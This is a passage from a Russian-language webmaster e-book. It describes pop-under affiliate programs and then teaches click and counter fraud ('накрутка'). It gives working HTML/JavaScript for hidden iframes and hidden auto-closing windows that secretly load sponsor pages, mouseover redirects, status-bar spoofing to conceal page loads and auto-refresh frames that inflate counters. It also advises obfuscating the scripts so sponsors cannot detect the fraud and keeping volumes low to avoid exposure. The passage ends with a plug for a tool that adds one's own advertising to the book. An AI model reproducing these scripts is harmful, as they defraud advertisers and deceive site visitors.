После клика по «закрыть» пользователь не видит ни баннер, ни окно в течение суток. Ограничение ставится по IP.

Popad — Наша партнёрская программа, предлагает вам существенно увеличить Ваши доходы посредством технологии pop-under.
При заходе на ваш сайт посетитель видит всплывающее окно размером 800*490.
В правом верхнем углу окна находится кнопка «Закрыть».
После клика по окну или нажатию на кнопку «Закрыть», посетитель не видит окно в течении суток. Ограничение ставится по IP.
Преимущество нашей программы в том, что посетитель видит только один баннер, что намного меньше раздражает посетителей, чем двойные баннеры аналогичных систем. (При нажатии кнопки «Закрыть» реклама на самом деле закрывается, а не всплывает! Таким образом рекламодатели получают и платят только за целевой трафик — за тех, кого заинтересовала реклама, т. е. кто кликнул по рекламе или нажал на кнопку развернуть)
Стоимость 1000 хостов (уникальных IP):
— 5 $ стоимость 1000 кликов обычной рекламы
— 10 $ стоимость 1000 кликов adult рекламы
Мы выкупаем 100 % трафика каждый день.
К участию принимаются ЛЮБЫЕ сайты.
Минимальная сумма для снятия — 5 wmz.
Выплаты производятся в течении 2-х дней с момента подачи заявки.

Pop-web - Наша партнерская программа предлагает владельцам сайтов выкуп трафика посредством технологии pop-under.
Сколько мы вам платим за размещение кода?
Стоимость 1000 хостов (уникальных IP по клику на закрыть) — 3.0 wmz
* Мы выкупаем 100 % вашего траффика.
* К участию принимаются ЛЮБЫЕ сайты.
* Минимальная сумма для снятия — 1 wmz.
Подробнее о технологии:
На сайте партнера размещается плавающий баннер 468х60, в правом верхнем углу которого написано «закрыть». Когда пользователь жмет «закрыть», то ПОД сайтом партнера открывается окно 640х480.
Размещение баннера нужно для преодоления блокировки всплывающих окон. «Пробив» составляет 50–80 %.
После клика по «закрыть» пользователь не видит ни баннер ни окно в течение суток. Ограничение ставится по IP.

Pop-banner  — Цены поднялись! Стоимость 1000 хостов (уникальных IP) — 3,5 wmz.
Если у Вас большие объемы цена составляет 4,5 wmz за 1000
# Мы выкупаем 100 % трафика каждый день.
# К участию принимаются ЛЮБЫЕ сайты.
# Минимальная сумма для снятия — 3 wmz.
# После клика по «закрыть» пользователь не видит ни баннер ни окно в течение суток. Ограничение ставится по IP.
# Выплата средств проводится три раза в месяц! (а именно 1, 11, 21 числа каждого месяца)
# Самый честный подсчет кликов
# На иностранных сайтах выкупается только 50 % трафика, из-за отсутствия рекламодателей (кроме Европы и Прибалтики)
Наша партнерская программа отличается тем, что вам не нужно подстраивать свой хтмл-код под наш скрипт, баннер работает под всеми броузерами.
С нами уже — 110 сайтов! Присоединяйтесь!

HTML-хитрости накрутки


Приведу несколько примеров html кода, которые могут помочь Вам в увеличении денежной массы Вашего кошелька.
1. Ссылка, на которую не надо нажимать. Создаете ссылку на сайт, пишете любую фразу, пользователь наводит мышку, например, чтобы посмотреть адрес, на который ведет ссылка или просто случайно и автоматически (даже не нажимая на ссылку!) переходит на сайт спонсора — Вам засчитывают клик (и на счет капает денежка).
<a href="любой текст" TARGET="_self" onMouseOver="parent.lo cation='URL баннера'" target="_self"><font size="3">Текст ссылки</font></a>
2. Занесение в "Избранное" (Favorites). Это не относиться к кликам, но поможет Вам не потерять посетителя, и, соответственно, увеличить Ваш трафик. Приведу несколько способов:
a) обычная ссылка. Пишите что-нибудь типа "Занести в Избранное", и нажав на ссылку посетитель запоминает адрес Вашего сайта в своих закладках.
<u onclick='window.external.AddFavorite(location.href, document.title);return true' style=color: red style=cursor: e-resize><font face="Arial" size="2">Занести в Избранное</font></u>
b) предложение при заходе на сайт. Посетителю при загрузке сайта будет автоматически предложено занести сайт в "Избранное". Недостаток — раздражает.
<body onload='window.external.AddFavorite(location.href, document.title);return true'>
То же самое при закрытии страницы — onload надо заменить на onUnload.
c) добавление в Избранное одним щелчком мыши.

JAVA-хитрости накрутки


Накрутка с помощью фрейма (страница в странице).
   ОПИСАНИЕ. На странице устанавливается фрейм, который скрыто для посетителей открывает другую страницу (страница в странице). При этом посетитель не видит открываемой страницы. Увидеть загрузку дополнительной страницы возможно только в статусной строке. Чтобы и этого не было видно, можно установить скрипт для статусной строки.
Пример
Установите на вашей странице следующий HTML-код:

<body style="margin:0px">
</iframe>
<iframe style="position: absolute;left:1 %;width:0 %;top:1 %;height:0 %;"
src="http://www.ВАША_ССЫЛКА">
</iframe>

Посмотрите, страница пустая, а в строке статуса мы видим, что загружается страница (www.yandex.ru).
Открытие и закрытие скрытого окна.
   ОПИСАНИЕ. На странице устанавливается JavaScript, который открывает скрытое окно со страницей и через некоторое время закрывает его. Окно открывается свернутым и не просматривается при нажатии левой кнопки мыши.
Пример
Установите на вашей странице следующий HTML-код:

<script language="JavaScript">
<!-
browserVer = parseInt(navigator.appVersion);
HB=window.open('http://www.ВАША_ССЫЛКА','HBback','toolbar=1,location=1,status=1, top=3000,left=3000,menubar=1,scrollbars=1,resizable=1,width=500,height=300');
if(browserVer >= 4) {window.focus();
}setTimeout ("closewindow()", 9000);function closewindow(){HB.close();}
//->
</script>

Посмотрите, дополнительно открылось скрытая страница (www.yandex.ru) и через некоторое время сама закрылась.
Открытие окна при выходе со страницы.
   ОПИСАНИЕ. На странице устанавливается JavaScript, который при выходе со страницы или ее закрытии открывает всплывающее окно с указанной вам страницей.
Пример
Установите на вашей странице следующий HTML-код:

<SCRIPT language=javascript>
exit=1;
function d2() {
if (exit==1) {
window.open("http://www.ВАША_ССЫЛКА");
};
};
</SCRIPT>
<BODY onunload=d2();>

Попробуйте закрыть страницу или перейдите по ссылке. При выходе со страницы открылось дополнительное окно (www.yandex.ru).
Всплывающее окно
   ОПИСАНИЕ. На странице устанавливается JavaScript, который при загрузке вашей страницы открывает всплывающее окно с указанной вам страницей.
Пример
Установите на вашей странице следующий HTML-код:

<SCRIPT LANGUAGE="JavaScript">
<!- hiding
var remoteWin = null;
var popup_url = "http://ВАША_ССЫЛКА";
if (self.parent.frames.length == 0){
self.name="preview";
}
function popup_hp_ad() {
remoteWin = window.open(popup_url, "ad_popup", "toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=640,height=130");
}
popup_hp_ad();
// End of hiding — >
</SCRIPT>

При загрузке страницы открылось дополнительное окно (www.yandex.ru).
Открытие и закрытие окна при наведении курсора мышки.
   ОПИСАНИЕ. При установке этого JavaScript на странице можно открывать и закрывать новое окно заданного размера, путем наведения курсора мыши на ссылку. По умолчанию окно размером 250 х 250 пикселей.
Пример
Установите на вашей странице следующий HTML-код:

<A HREF="javascript: "
onMouseOver="SB1 = window.open('http://www.ВАША_ССЫЛКА','SB1','width=250,height=250'); return true;"
onMouseOut=" SB1.window.close(); return true;">ТЕКСТ ССЫЛКИ</A>
Наведите курсор мышки на ссылку — открылось окно.
Скрипт не позволяющий изменить размер окна.
   ОПИСАНИЕ. При установке этого JavaScript на странице пользователь не сможет изменить его размеры. По умолчанию окно размером 10 х 10 пикселей. Установите необходимые вам размеры.
Пример
Установите на вашей странице следующий HTML-код:

<body onresize="noresize()" onload="noresize()">
<script language="JavaScript"><!-
function noresize(){
self.resizeTo(10,10)}
// — ></script>

Откроется окно 300 х 200 пикселей. Попробуйте изменить размеры окна.
Скрипт для статусной строки
   ОПИСАНИЕ. При установке этого JavaScript на странице пользователь в статусной строке не будет видеть загружаемые страницы, а увидет ва текст.
Пример
Установите на вашей странице следующий HTML-код:

<script language="JavaScript">
<!-
setInterval("x()",5);
function x(){window.status="ВАШ ТЕКСТ"}
function MM_jumpMenu(targ,selObj,restore){ //v3.0
eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
if (restore) selObj.selectedIndex=0;
}
function MM_findObj(n, d) { //v3.0
var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document); return x;
}
function MM_jumpMenuGo(selName,targ,restore){ //v3.0
var selObj = MM_findObj(selName); if (selObj) MM_jumpMenu(targ,selObj,restore);
}
//->
</script>

Посмотрите вниз на статусную строку.
Накрутка счетчиков.
   ОПИСАНИЕ. При установке данного фрейма на странице, она будет автоматически перезагружаться через указанное вами время, накручивая показания счетчиков.
Пример
Установите на вашей странице следующий HTML-код:

<META HTTP-EQUIV="Refresh" CONTENT="10">
</HEAD>
<FRAMESET ROWS="1 %" FRAMEBORDER="0" FRAMESPACING="0">
<FRAME SRC="страница где установлен этот фрейм. htm" NORESIZE>
</FRAMESET>

Параметры скрипта: CONTENT="10" (время в сек для перегрузки)
Выплывающее окно с приветствием для накрутки
ОПИСАНИЕ. При загрузке страницы с данным скриптом, посетитель увидит выплывающее слева окно (к примеру с приветствием), которое через заданный промежуток времени уплывает вправо и там закрывается. Чем хорош данный способ для накрутки? Посетитель считает, что окно просто приветствует его, а на самом деле в пробегающем окне загружается страница спонсора (страница в странице).
Пример
Установите на вашей странице следующий HTML-код:

<head>
<script>
<!- Beginning of JavaScript -
var popwindow
var popwindowwidth=200
var popwindowheight=150
var popwindowtop=20
var popwindowURL="СТРАНИЦА. htm"
var waitingtime=4
var pause=20
var step=40
var popwindowleft=-popwindowwidth-50
var marginright
var pagecenter
var timer
waitingtime= waitingtime*1000
function showWindow() {
popwindow = window.open(popwindowURL, "popwindow", "toolbar=no,width="+popwindowwidth+",height="+popwindowheight+",top="+popwindowtop+",left="+(-popwindowwidth)+"");
if (document.all) {marginright = screen.width+50}
if (document.layers) {marginright = screen.width+50}
pagecenter=Math.floor(marginright/2)-Math.floor(popwindowwidth/2)
movewindow()}
function movewindow() {if (popwindowleft<=pagecenter) {popwindow.moveTo(popwindowleft,popwindowtop)
popwindowleft+=step
timer= setTimeout("movewindow()",pause)}
else {clearTimeout(timer)
timer= setTimeout("movewindow2()",waitingtime)}
}
function movewindow2() {
if (popwindowleft<=marginright) {
popwindow.moveTo(popwindowleft,popwindowtop)
popwindowleft+=step
timer= setTimeout("movewindow2()",pause)}
else {clearTimeout(timer)
popwindow.close() }
}
// — >
</script>
</head>
<body onLoad="showWindow()">
</BODY>

Параметры скрипта: var popwindowwidth=200 (высота окна в пикселях); var popwindowheight=150 (ширина окна в пикселях); var popwindowtop=20 (расстояние от высшего края главного окна); var popwindowURL="СТРАНИЦА. htm" (URL или HTML-файл который будет открываться в окне); var waitingtime=5 (время в секундах для остановки окна).
В пробегающем окне вы видите страницу "test01.htm", которая скрыто (страница в странице) загрузила страницу (www.yandex.ru)
Блокирование правой кнопки мышки
   ОПИСАНИЕ. При установке этого JavaScript на странице пользователь не сможет вызвать меню нажатием правой кнопку мыши. Хотя существует много скриптов по блокировке кнопки, вызвать меню все таки можно (оставьте курсор на экране и нажмите Shift+F10), но это скрипт мне кажется лучший.
Пример
<script>
<!-
function right(e) {
if (document.layers && (e.which==3 || e.which==2)) {
window.status="NO RIGHT CLICK ALLOWED!"
return false;
}
else if (document.all && (event.button==2 || event.button==3)) {
window.status="NO RIGHT CLICK ALLOWED!"
openclosewindow()
return false;
}
}
function openclosewindow() {
var windownews=window.open("", "", "status=no,location=no,toolbar=no,menubar=no,resizable=no,scrollbars=no,width=50,height=50,top=20000,left=200");
windownews.close()
}
if (document.all) {
document.onmouseup=right;
window.onmouseup=right;
}
if (document.layers) {
document.captureEvents(Event.MOUSEDOWN);
document.onmousedown=right;
}
//->
</script>
Кодирование страницы.
Для того, чтобы при проверке вашей страницы на факт накрутки спонсор не увидел установленных скриптов или какой нибудь посетитель не «сдал» вас за накрутку можно закодировать страницу. Но мой совет: не кодируйте всю страницу, это только вызовет недоверие к вам. Закодируйте только скрипты для накрутки. Я написал кодер HTML[2]. Пользоваться им легко. Скопируйте скрипт и вставьте его в левое поле, после чего нажмите кнопку «Кодируем!». В правом поле скопируйте получившийся JavaScript и вставьте в вашу страницу. Не забудьте сохранить не закодированную страницу иначе раскодировать ее потом для редактирования будет не легко.
Заключение. 
Использовать указанные скрипты лучше совместно. Но самым лучшим способом обмана, на мой взгляд является применение фреймов и скриптов. Например, при использовании фрейма (например, страница в странице) и скрипта текст в статусной строке выявить накрутку практически не возможно. Выявить можно только путем, если накручиваемый спонсор заподозрит вас в накрутке и просмотрит вашу страницу в HTML. Но, если вы закодируете его ссылке предложенным мною кодером, то увидеть вашу ссылку ему будет очень тяжело. Для этого спонсору надо раскодировать код, а это сложновато. Мой совет не привлекайте внимание к себе большими накрутками спонсоров. Лучше каждого по немногу и вас не уличат в накрутке.
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Реклама в книге


Уважаемые читатели, Вам предоставляется уникальная возможность cоздать свой сайт, раскрутить его и начать зарабатывать с помощью данной книги.
Вы и не представляете, как сильно увеличивается посещаемость сайта, когда Вы начинаете предлагать с него что-нибудь бесплатное и интересное. В интернете встречается множество мини-сайтов которые имеют до 1000 посетителей в день, благодаря тому, что владелец сайта предлагает либо воспользоваться бесплатным сервисом, либо скачать бесплатную программу или электронную книгу со своего сайта. Например, по словам, известной многим в сети — Нелли Федосенко, после выхода её книги, количество посетителей на её сайте увеличилось в два раза.
Теперь и Вы можете предложить кое-что бесплатное на своём сайте, а именно: данную книгу «мощь вебмастеру». Вы можете закачать данную книгу себе на сайт и предлагать её скачать всем желающим БЕСПЛАТНО. Также Вы можете сообщить об этой новости в Вашей рассылке, на досках объявлений, в тексте Вашего баннера или давать в качестве бонуса и т. д.
Итак, если Вам понравилась наша книга и у Вас возникло желание распространять её, но со своей рекламой, мы рады об этом слышать. Ведь это очень неплохой способ заявить о своём проекте на страницах нашей книги.
Бесплатная реклама.
Чтобы в книгу Вы смогли добавить свою рекламу, Вам нужно взять программу «eBrand-It» (Универсальная программа для внесения собственной рекламы в некоторые электронные книги) которая идет вместе с книгой, или скачать ее на нашем сайте. Эта программа позаботится, чтобы Вы успешно добавили свою рекламу.
Подробнее:
На каждой странице книги с низу есть такие слова
%site_name%
%opisanie%
%site_url%
здесь и будет ваша реклама. Открываем «eBrand-It» нажимаем Open Ebook открываем нашу книгу и видим
%AFFILIATE%
%site_name%
%opisanie%
%site_url%
теперь пишем напротив етих слов свою рекламу. С помощю кнопки (Tdit)
Например:

%AFFILIATE%-здесь не чего не пишем
%site_name%-название сайта
%opisanie%-описание сайта
%site_url%-адрес сайта
В итоге у нас должно получится так:

%AFFILIATE%
%site_name%-- webmsteruvse
%opisanie%---Бесплатные программы для создания и раскрутки сайта
%site_url%---- webmasteruvse.ru
И сохраняем книгу под другим названием с помощью кнопки (Save Branded eBook as) вот и все книга с вашей рекламой готова.
Удачной рекламы
Помощь в создание своего сайта (странички) смотрите на нашем сайте WEBMASTERUVSE.RU где вы найдете БЕСПЛАТНЫЕ шаблоны, программы для создания и раскрутки, книги, скрипты и много другой полезной информации.



Спасибо, что скачали книгу в бесплатной электронной библиотеке BooksCafe.Net
Оставить отзыв о книге
Все книги автора



Примечания




1


Далее приводится код джава-скрипта, который в оригинальной exe-книге работал на странице, автоматически создавая мета-теги из заданных слов (прим. верстальщика).


2


HTMLCrypt — замечательная программа для защиты исходного кода интеренет страниц, в частности HTML-кода, скриптов JavaScript и VBScript, e-mail адресов и многого другого, что вы хотите защитить от публичного просмотра. Вы сами можете выбирать то, что вам нужно обезопасить от просмотра. Программа позвляет защитить адреса электронной почты. Кодирование всех сслылок на Web-странице позволит защитить Ваш сайт от полной загрузки специальными программами. Также HTMLCrypt позволяет сжимать исходный код перед защитой, что позволяет уменьшить итоговый размер и, соответственно, ускорить загрузку Web-страницы.
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